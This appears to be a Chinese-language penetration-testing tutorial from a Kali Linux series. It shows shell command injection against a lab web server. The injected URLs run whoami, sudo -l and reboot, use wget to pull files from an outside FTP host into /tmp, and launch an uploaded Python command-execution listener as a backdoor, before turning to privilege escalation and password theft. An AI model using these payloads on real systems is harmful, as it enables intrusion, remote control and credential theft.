通过前面的端口扫描和Web扫描等工具,知道知道目标主机有什么样的弱点,那么,下一步就是如何注入代码控制或者攻击该目标主机 。
Shell injection(命令行注入)
一旦脚本或是代码处理不当,就会将用户的输入参数(如HTTP参数、页面中的输入字段等)作为系统命令进行执行,而这些通过shell命令或脚本,你可以收集任何想要的信息,达到权限提升或是上传文件的目的,一旦成功,该目标的生死就不由它了 。
通过nmap扫描,我们知道目标主机(172.12.0.2)存在哪些开发端口,启用了什么服务 。然后,我们看见目标主机的80端口是开发,再用web分析扫描工具,获得该站点的目录和弱点信息, 如,我们通过skipfish扫描到目标主机存在如下弱点:
文章插图
【注入与攻击测试篇 Kali Linux】#skipfish扫描报告
一般情况下,通过Web界面登录的用户都是系统内嵌的一些用户,如Apache等,如果你足够幸运,程序员会把错误日志一起带回页面来显示,那么你就能通过如下URL获得一些信息:
http://172.12.0.2/~/xxd.sh?auth_name=user01&user_mac=`whoami`
文章插图
#获得当前用户名信息
Pwd能知道当前的位置, sudo –l能知道该账户的权限, lsof能知道该用户对文件的权限情况 。
http://172.12.0.2/~/xxd.sh?auth_name=user01&user_mac=`sudo -l`
文章插图
#当前用户的权限信息
如果你发现页面中存在文件上传等能写入系统的操作,很大几率你能找到如何把文件上传上去,实在不行,你可以把文件放在/tmp目录下,做后续的操作
http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`wget -nH -m --ftp-user=admin --ftp-password=admins -P /tmp ftp://10.10.11.250/test.txt`
文章插图
#成功上传的文件
是时候展现技术的时候了,干一点创造性的工作: reboot:
http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`reboot`
文章插图
#权限不够导致命令执行失败
非常遗憾,ping没断,设备没死:这就进入了另一个高深的话题:权限提升的问题 。
权限提升
在进行权限提升工作前,我们先做一点小工具,让我们能像登录设备一样进行一些命令行操作 。
如,上传一个随便编写的Python脚本(进行TCP监听,并解析用户的输入,进行系统命令执行, 将执行结果返回到客户端), 脚本通过上面的wget放到/tmp目录下,通过chmod 777修改权限,再执行脚本(加&使其后台运行):
http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`wget -nH -m --ftp-user=admin --ftp-password=admins -P /tmp ftp://10.10.11.250:/server.py`http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`chmod 777 /tmp/server.py`http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`/tmp/server.py &`我这里只是简单的一个python脚本作为演示用:
文章插图
#server.py
文章插图
#client.py
OK, 连接后,第一件事儿就是试图把用户信息拿回来(试图用密码破解方式尝试一下破解系统的密码)
文章插图
#还记得大明湖畔的夏雨荷吗?
权限提升最好的方法是利用系统中的一些错误配置,如:
- 用户home目录的权限配置错误: 如755, 777权限的文件
文章插图
#文件的权限查看
“-rw-rw-r--”一共10位,最左边表示类型(目录、文件、连接等), 接着三位是所有者的权限, 接着三位是组群的权限,最后是其它用户的权限(r读、w写、x执行,-未授权) 。开发者或是管理员会在自己的目录下包含一些敏感信息或是给自己提供方便,将文件的权限提升很大,利用好会省去很多时间 。
- Getgid和setuid可执行程序
推荐阅读
- 无线AP与无线网桥的带机量是多少?一篇文章了解清楚
- 茶训班创建者,贺正刚与澜沧古茶园
- 路由器的选与用,参考这篇就够啦!
- 张国雄与白芽奇兰茶,做有生命 思想 文化的茶
- 茶界专家解密 论说普洱茶拼配
- |职场润滑油:与女性领导三个不许说“不”的常态
- |女本为弱,为母则刚:在孩子与事业之间找到平衡
- 风水学与家居装饰分区域解读
- 婚纱艺术照风格与普通艺术照的区别
- 离婚协议约定房产赠与子女但未过户,能否排除强制执行?